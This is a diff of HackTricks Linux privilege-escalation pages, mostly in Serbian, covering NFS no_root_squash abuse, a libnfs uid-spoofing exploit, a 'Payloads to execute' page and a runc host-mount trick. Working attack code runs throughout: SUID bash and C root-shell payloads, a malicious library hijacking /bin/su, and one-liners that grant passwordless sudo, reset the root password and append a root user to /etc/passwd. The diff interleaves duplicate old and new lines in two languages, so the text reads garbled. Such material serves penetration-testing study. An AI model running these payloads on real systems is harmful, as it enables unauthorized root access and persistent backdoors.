* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
|
||||
Pročitajte datoteku _ **/etc/exports** _, ako pronađete neki direktorijum koji je konfigurisan kao **no\_root\_squash**, tada ga možete **pristupiti** kao **klijent** i **pisati unutar** tog direktorijuma **kao** da ste lokalni **root** mašine.
|
||||
Pročitajte _ **/etc/exports** _ datoteku, ako pronađete neku direktoriju koja je konfigurisana kao **no\_root\_squash**, tada možete **pristupiti** njoj **kao klijent** i **pisati unutar** te direktorije **kao** da ste lokalni **root** mašine.
|
||||
|
||||
**no\_root\_squash**: Ova opcija omogućava korisniku root na klijentu da pristupa datotekama na NFS serveru kao root. Ovo može dovesti do ozbiljnih sigurnosnih posledica.
|
||||
**no\_root\_squash**: Ova opcija u suštini daje ovlašćenje root korisniku na klijentu da pristupi datotekama na NFS serveru kao root. I to može dovesti do ozbiljnih bezbednosnih implikacija.
|
||||
|
||||
**no\_all\_squash:** Ovo je slična opcija kao **no\_root\_squash**, ali se odnosi na **non-root korisnike**. Zamislite, imate shell kao nobody korisnik; proverite datoteku /etc/exports; opcija no\_all\_squash je prisutna; proverite datoteku /etc/passwd; emulirajte non-root korisnika; kreirajte suid datoteku kao taj korisnik (montiranjem pomoću nfs). Izvršite suid kao nobody korisnik i postanite drugi korisnik.
|
||||
**no\_all\_squash:** Ovo je slično **no\_root\_squash** opciji, ali se primenjuje na **ne-root korisnike**. Zamislite, imate shell kao nobody korisnik; proverili ste /etc/exports datoteku; opcija no\_all\_squash je prisutna; proverite /etc/passwd datoteku; emulirajte ne-root korisnika; kreirajte suid datoteku kao taj korisnik (montiranjem koristeći nfs). Izvršite suid kao nobody korisnik i postanite drugi korisnik.
|
||||
|
||||
# Eskalacija privilegija
|
||||
# Privilege Escalation
|
||||
|
||||
## Udaljeni napad
|
||||
## Remote Exploit
|
||||
|
||||
Ako ste pronašli ovu ranjivost, možete je iskoristiti:
|
||||
|
||||
* **Montiranjem tog direktorijuma** na klijentskoj mašini, i **kao root kopiranjem** unutar montiranog foldera **/bin/bash** binarnu datoteku i davanje **SUID** prava, i **izvršavanje sa žrtvene** mašine te bash binarne datoteke.
|
||||
* **Montiranje te direktorije** na klijentskoj mašini, i **kao root kopiranje** unutar montirane fascikle **/bin/bash** binarnu datoteku i davanje **SUID** prava, i **izvršavanje sa žrtvovane** mašine te bash binarne datoteke.
|
||||
```bash
|
||||
#Attacker, as root user
|
||||
mkdir /tmp/pe
|
||||
|
@ -38,7 +44,7 @@ chmod +s bash
|
|||
cd <SHAREDD_FOLDER>
|
||||
./bash -p #ROOT shell
|
||||
```
|
||||
* **Montiranje tog direktorijuma** na klijentskom računaru, i **kopiranje kao root** unutar montiranog foldera našeg kompajliranog payloada koji će zloupotrebiti SUID dozvole, dati mu **SUID** prava, i **izvršiti sa žrtvinog** računara tu binarnu datoteku (ovde možete pronaći neke [C SUID payloade](payloads-to-execute.md#c)).
|
||||
* **Montiranje te direktorije** na klijentskoj mašini, i **kao root kopiranje** unutar montirane fascikle našeg kompajliranog payload-a koji će zloupotrebiti SUID dozvolu, dati mu **SUID** prava, i **izvršiti sa žrtvovane** mašine tu binarnu datoteku (ovde možete pronaći neke [C SUID payload-e](payloads-to-execute.md#c)).
|
||||
```bash
|
||||
#Attacker, as root user
|
||||
gcc payload.c -o payload
|
||||
|
@ -52,40 +58,40 @@ chmod +s payload
|
|||
cd <SHAREDD_FOLDER>
|
||||
./payload #ROOT shell
|
||||
```
|
||||
## Lokalni eksploit
|
||||
## Lokalni Eksploit
|
||||
|
||||
{% hint style="info" %}
|
||||
Imajte na umu da ako možete da napravite **tunel sa vašeg računara do računara žrtve, i dalje možete koristiti udaljenu verziju za iskorišćavanje ovog eskalacije privilegija tuneliranjem potrebnih portova**.\
|
||||
Sledeći trik je u slučaju da datoteka `/etc/exports` **ukazuje na IP adresu**. U ovom slučaju, nećete moći da koristite **udaljeni eksploit** i moraćete da **zloupotrebite ovaj trik**.\
|
||||
Još jedan neophodan uslov za iskorišćavanje eksploita je da **izvoz unutar `/etc/export`** **mora koristiti `insecure` zastavicu**.\
|
||||
Imajte na umu da ako možete da kreirate **tunel sa vašeg računara na računar žrtve, još uvek možete koristiti daljinsku verziju za eksploataciju ovog eskalacije privilegija tunelovanjem potrebnih portova**.\
|
||||
Sledeći trik se koristi u slučaju da datoteka `/etc/exports` **ukazuje na IP**. U ovom slučaju **nećete moći da koristite** u bilo kom slučaju **daljinski eksploit** i biće potrebno da **zloupotrebite ovaj trik**.\
|
||||
Još jedan neophodan uslov za rad eksploita je da **izvoz unutar `/etc/export`** **mora koristiti `insecure` flag**.\
|
||||
\--_Nisam siguran da li će ovaj trik raditi ako `/etc/export` ukazuje na IP adresu_--
|
||||
{% endhint %}
|
||||
|
||||
## Osnovne informacije
|
||||
## Osnovne Informacije
|
||||
|
||||
Scenario uključuje iskorišćavanje montiranog NFS deljenog resursa na lokalnom računaru, iskorišćavanjem greške u NFSv3 specifikaciji koja omogućava klijentu da specificira svoj uid/gid, potencijalno omogućavajući neovlašćeni pristup. Iskorišćavanje uključuje korišćenje [libnfs](https://github.com/sahlberg/libnfs), biblioteke koja omogućava falsifikovanje NFS RPC poziva.
|
||||
Scenario uključuje eksploataciju montiranog NFS dela na lokalnom računaru, koristeći grešku u NFSv3 specifikaciji koja omogućava klijentu da specificira svoj uid/gid, potencijalno omogućavajući neovlašćen pristup. Eksploatacija uključuje korišćenje [libnfs](https://github.com/sahlberg/libnfs), biblioteke koja omogućava falsifikovanje NFS RPC poziva.
|
||||
|
||||
### Kompilacija biblioteke
|
||||
### Kompilacija Biblioteke
|
||||
|
||||
Koraci kompilacije biblioteke mogu zahtevati prilagođavanje na osnovu verzije jezgra. U ovom konkretnom slučaju, fallocate syscalls su bili zakomentarisani. Proces kompilacije uključuje sledeće komande:
|
||||
Koraci za kompilaciju biblioteke mogu zahtevati prilagođavanja u zavisnosti od verzije kernela. U ovom specifičnom slučaju, fallocate syscalls su bili komentarisani. Proces kompilacije uključuje sledeće komande:
|
||||
```bash
|
||||
./bootstrap
|
||||
./configure
|
||||
make
|
||||
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
|
||||
```
|
||||
### Izvođenje napada
|
||||
### Izvođenje Eksploata
|
||||
|
||||
Napad uključuje kreiranje jednostavnog C programa (`pwn.c`) koji povećava privilegije na root i zatim izvršava shell. Program se kompajlira, a rezultirajući binarni fajl (`a.out`) se postavlja na deljeni folder sa suid root, koristeći `ld_nfs.so` da bi se lažirao uid u RPC pozivima:
|
||||
Eksploit uključuje kreiranje jednostavnog C programa (`pwn.c`) koji povećava privilegije na root i zatim izvršava shell. Program se kompajlira, a rezultantni binarni fajl (`a.out`) se postavlja na deljenje sa suid root, koristeći `ld_nfs.so` da lažira uid u RPC pozivima:
|
||||
|
||||
1. **Kompajlirajte kod napada:**
|
||||
1. **Kompajlirajte kod eksploata:**
|
||||
```bash
|
||||
cat pwn.c
|
||||
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
|
||||
gcc pwn.c -o a.out
|
||||
```
|
||||
|
||||
2. **Postavite napad na deljeni folder i izmenite dozvole lažiranjem uid-a:**
|
||||
2. **Postavite eksploat na deljenje i izmenite njegove dozvole lažiranjem uid-a:**
|
||||
```bash
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
|
||||
|
@ -93,14 +99,14 @@ LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs:
|
|||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
|
||||
```
|
||||
|
||||
3. **Izvršite napad da biste dobili privilegije root-a:**
|
||||
3. **Izvršite eksploat da dobijete root privilegije:**
|
||||
```bash
|
||||
/mnt/share/a.out
|
||||
#root
|
||||
```
|
||||
|
||||
## Bonus: NFShell za neprimetan pristup fajlovima
|
||||
Kada se dobije pristup kao root, za interakciju sa NFS deljenim folderom bez menjanja vlasništva (kako bi se izbegli tragovi), koristi se Python skripta (nfsh.py). Ova skripta prilagođava uid da odgovara uid-u fajla koji se pristupa, omogućavajući interakciju sa fajlovima na deljenom folderu bez problema sa dozvolama:
|
||||
## Bonus: NFShell za Diskretni Pristup Fajlovima
|
||||
Kada se dobije root pristup, za interakciju sa NFS deljenjem bez promene vlasništva (da bi se izbegli tragovi), koristi se Python skripta (nfsh.py). Ova skripta prilagođava uid da odgovara onom fajlu koji se pristupa, omogućavajući interakciju sa fajlovima na deljenju bez problema sa dozvolama:
|
||||
```python
|
||||
#!/usr/bin/env python
|
||||
# script from https://www.errno.fr/nfs_privesc.html
|
||||
|
@ -119,25 +125,32 @@ uid = get_file_uid(filepath)
|
|||
os.setreuid(uid, uid)
|
||||
os.system(' '.join(sys.argv[1:]))
|
||||
```
|
||||
Pokrenite kao:
|
||||
Pokreni kao:
|
||||
```bash
|
||||
# ll ./mount/
|
||||
drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old
|
||||
```
|
||||
## Reference
|
||||
* [https://www.errno.fr/nfs_privesc.html](https://www.errno.fr/nfs_privesc.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,65 +1,26 @@
|
|||
# Payloadi za izvršavanje
|
||||
# Payloads to execute
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Bash
|
||||
```bash
|
||||
cp /bin/bash /tmp/b && chmod +s /tmp/b
|
||||
/bin/b -p #Maintains root privileges from suid, working in debian & buntu
|
||||
```
|
||||
## Izvršavanje payloada
|
||||
|
||||
Kada je u pitanju izvršavanje payloada, postoje različite tehnike koje možete koristiti za postizanje privilegija. Ovde su neke od njih:
|
||||
|
||||
### 1. SUID/SGID programi
|
||||
|
||||
SUID (Set User ID) i SGID (Set Group ID) programi su programi koji se izvršavaju sa privilegijama vlasnika ili grupe. Možete iskoristiti ove programe kako biste izvršili payload sa privilegijama vlasnika ili grupe.
|
||||
|
||||
### 2. Cron poslovi
|
||||
|
||||
Cron poslovi su automatizovani zadaci koji se izvršavaju u određeno vreme ili periodično. Ako imate pristup cron poslovima, možete kreirati novi cron posao koji će izvršiti vaš payload.
|
||||
|
||||
### 3. Kernel eksploatacija
|
||||
|
||||
Ako pronađete ranjivost u kernelu, možete je iskoristiti kako biste dobili privilegije i izvršili payload.
|
||||
|
||||
### 4. Postavljanje backdoor naloga
|
||||
|
||||
Ako imate pristup sistemu, možete postaviti backdoor nalog sa privilegijama i izvršiti payload koristeći taj nalog.
|
||||
|
||||
### 5. Postavljanje reverse shell-a
|
||||
|
||||
Reverse shell vam omogućava da se povežete na ciljni sistem i izvršite payload sa udaljenog računara.
|
||||
|
||||
### 6. Exploiting Sudo
|
||||
|
||||
Ako imate pristup sudo privilegijama, možete iskoristiti ranjivosti u konfiguraciji sudo-a kako biste izvršili payload sa privilegijama.
|
||||
|
||||
### 7. Exploiting weak file permissions
|
||||
|
||||
Ako pronađete datoteke sa slabim dozvolama, možete ih iskoristiti kako biste izvršili payload sa privilegijama vlasnika datoteke.
|
||||
|
||||
### 8. Exploiting weak service configurations
|
||||
|
||||
Ako pronađete slabu konfiguraciju servisa, možete je iskoristiti kako biste izvršili payload sa privilegijama tog servisa.
|
||||
|
||||
### 9. Exploiting software vulnerabilities
|
||||
|
||||
Ako pronađete ranjivost u softveru koji se izvršava na ciljnom sistemu, možete je iskoristiti kako biste dobili privilegije i izvršili payload.
|
||||
|
||||
### 10. Exploiting misconfigurations
|
||||
|
||||
Ako pronađete greške u konfiguraciji sistema, možete ih iskoristiti kako biste dobili privilegije i izvršili payload.
|
||||
## C
|
||||
```c
|
||||
//gcc payload.c -o payload
|
||||
int main(void){
|
||||
|
@ -96,18 +57,18 @@ execve(paramList[0], paramList, NULL);
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
## Prepisivanje fajla radi eskalacije privilegija
|
||||
## Prepisivanje fajla za eskalaciju privilegija
|
||||
|
||||
### Uobičajeni fajlovi
|
||||
|
||||
* Dodaj korisnika sa lozinkom u _/etc/passwd_
|
||||
* Promeni lozinku unutar _/etc/shadow_
|
||||
* Dodaj korisnika u sudoers u _/etc/sudoers_
|
||||
* Zloupotrebi docker preko docker socket-a, obično u _/run/docker.sock_ ili _/var/run/docker.sock_
|
||||
* Dodajte korisnika sa lozinkom u _/etc/passwd_
|
||||
* Promenite lozinku unutar _/etc/shadow_
|
||||
* Dodajte korisnika u sudoers u _/etc/sudoers_
|
||||
* Zloupotreba dockera kroz docker socket, obično u _/run/docker.sock_ ili _/var/run/docker.sock_
|
||||
|
||||
### Prepisivanje biblioteke
|
||||
|
||||
Proveri biblioteku koju koristi neki binarni fajl, u ovom slučaju `/bin/su`:
|
||||
Proverite biblioteku koju koristi neki binarni fajl, u ovom slučaju `/bin/su`:
|
||||
```bash
|
||||
ldd /bin/su
|
||||
linux-vdso.so.1 (0x00007ffef06e9000)
|
||||
|
@ -119,8 +80,8 @@ libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
|
|||
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
|
||||
/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)
|
||||
```
|
||||
U ovom slučaju pokušajmo se predstaviti kao `/lib/x86_64-linux-gnu/libaudit.so.1`.\
|
||||
Dakle, provjerite funkcije ove biblioteke koje koristi **`su`** binarna datoteka:
|
||||
U ovom slučaju, pokušajmo da se pretvaramo da smo `/lib/x86_64-linux-gnu/libaudit.so.1`.\
|
||||
Dakle, proverite funkcije ove biblioteke koje koristi **`su`** binarni fajl:
|
||||
```bash
|
||||
objdump -T /bin/su | grep audit
|
||||
0000000000000000 DF *UND* 0000000000000000 audit_open
|
||||
|
@ -128,7 +89,7 @@ objdump -T /bin/su | grep audit
|
|||
0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message
|
||||
000000000020e968 g DO .bss 0000000000000004 Base audit_fd
|
||||
```
|
||||
Simboli `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` i `audit_fd` verovatno potiču iz biblioteke libaudit.so.1. Pošto će libaudit.so.1 biti prebrisana zlonamernom deljenom bibliotekom, ovi simboli treba da budu prisutni u novoj deljenoj biblioteci, inače program neće moći da pronađe simbol i završiće izvršavanje.
|
||||
Simboli `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` i `audit_fd` verovatno potiču iz biblioteke libaudit.so.1. Kako će libaudit.so.1 biti prepisana zlonamernom deljenom bibliotekom, ovi simboli bi trebali biti prisutni u novoj deljenoj biblioteci, inače program neće moći da pronađe simbol i izaći će.
|
||||
```c
|
||||
#include<stdio.h>
|
||||
#include<stdlib.h>
|
||||
|
@ -150,7 +111,7 @@ setgid(0);
|
|||
system("/bin/bash");
|
||||
}
|
||||
```
|
||||
Sada, samo pozivajući **`/bin/su`** dobićete root shell.
|
||||
Sada, samo pozivajući **`/bin/su`** dobićete shell kao root.
|
||||
|
||||
## Skripte
|
||||
|
||||
|
@ -160,49 +121,25 @@ Možete li naterati root da izvrši nešto?
|
|||
```bash
|
||||
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
|
||||
```
|
||||
### **Promena lozinke za root korisnika**
|
||||
|
||||
```bash
|
||||
sudo passwd root
|
||||
```
|
||||
|
||||
Ova komanda omogućava promenu lozinke za root korisnika. Nakon izvršavanja komande, bićete upitani da unesete novu lozinku za root korisnika.
|
||||
### **Promena root lozinke**
|
||||
```bash
|
||||
echo "root:hacked" | chpasswd
|
||||
```
|
||||
### Dodavanje novog root korisnika u /etc/passwd
|
||||
|
||||
Da biste dodali novog root korisnika u datoteku /etc/passwd, pratite sledeće korake:
|
||||
|
||||
1. Otvorite terminal i prijavite se kao root korisnik.
|
||||
2. Pokrenite sledeću komandu da biste otvorili /etc/passwd datoteku u uređivaču teksta:
|
||||
|
||||
```bash
|
||||
nano /etc/passwd
|
||||
```
|
||||
|
||||
3. U datoteci /etc/passwd, pronađite red koji sadrži informacije o root korisniku. Obično se nalazi na početku datoteke i izgleda slično ovome:
|
||||
|
||||
```plaintext
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
```
|
||||
|
||||
4. Kopirajte ovaj red i nalepite ga ispod originalnog reda.
|
||||
5. Promenite korisničko ime novog korisnika u željeni naziv.
|
||||
6. Sačuvajte izmene i zatvorite uređivač teksta.
|
||||
|
||||
Nakon ovih koraka, novi root korisnik će biti dodat u /etc/passwd datoteku.
|
||||
### Dodajte novog root korisnika u /etc/passwd
|
||||
```bash
|
||||
echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,25 @@
|
|||
# RunC Privilegija Eskalacija
|
||||
# RunC Privilege Escalation
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
Ako želite da saznate više o **runc**-u, proverite sledeću stranicu:
|
||||
Ako želite da saznate više o **runc**, pogledajte sledeću stranicu:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/2375-pentesting-docker.md" %}
|
||||
[2375-pentesting-docker.md](../../network-services-pentesting/2375-pentesting-docker.md)
|
||||
|
@ -24,7 +27,7 @@ Ako želite da saznate više o **runc**-u, proverite sledeću stranicu:
|
|||
|
||||
## PE
|
||||
|
||||
Ako otkrijete da je `runc` instaliran na hostu, možda ćete moći da **pokrenete kontejner koji montira root / folder hosta**.
|
||||
Ako otkrijete da je `runc` instaliran na hostu, možda ćete moći da **pokrenete kontejner montirajući root / folder hosta**.
|
||||
```bash
|
||||
runc -help #Get help and see if runc is intalled
|
||||
runc spec #This will create the config.json file in your current folder
|
||||
|
@ -49,19 +52,22 @@ mkdir rootfs
|
|||
runc run demo
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Ovo neće uvek raditi jer je podrazumevana operacija runc-a pokretanje kao root, pa pokretanje kao neprivilegovan korisnik jednostavno ne može raditi (osim ako nemate konfiguraciju bez root-a). Stvaranje konfiguracije bez root-a podrazumevana nije generalno dobra ideja jer postoji dosta ograničenja unutar kontejnera bez root-a koja se ne primenjuju izvan kontejnera bez root-a.
|
||||
{% endhint %}
|
||||
